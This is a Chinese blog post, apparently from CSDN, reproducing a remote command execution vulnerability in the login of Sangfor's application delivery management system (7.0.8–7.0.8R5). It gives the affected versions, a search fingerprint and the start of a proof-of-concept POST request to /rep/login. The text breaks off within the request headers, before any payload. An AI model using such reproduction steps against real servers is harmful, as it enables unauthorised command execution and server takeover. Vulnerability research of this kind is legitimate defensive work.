深信服应用交付管理系统 login 远程命令执行漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-15 20:56:10 修改

阅读量512

点赞数 17

分类专栏：漏洞复现文章标签： web安全

于 2024-04-15 20:55:50 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137795243

版权

漏洞复现专栏收录该内容

361 篇文章 141 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

该博客揭示了深信服应用交付管理系统7.0.8-7.0.8R5版本存在远程命令执行漏洞，攻击者可借此获取服务器权限。文章介绍了漏洞描述、影响版本、复现步骤以及Tscan POC，并提供了修复建议。

摘要由CSDN通过智能技术生成

漏洞描述

深信服应⽤交付管理系统 login 存在远程命令执⾏漏洞，攻击者通过漏洞可以获取服务器权
限，执⾏任意命令

漏洞影响版本

深信服应⽤交付管理系统 7.0.8-7.0.8R5
fid=”iaytNA57019/kADk8Nev7g==”

漏洞复现

输入账号密码拦截登录请求包，然后更改数据包。
漏洞验证poc

POST /rep/login HTTP/1.1
Host: XX.XX.XX.XX
Connection: close
Content-Length: 121
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: sam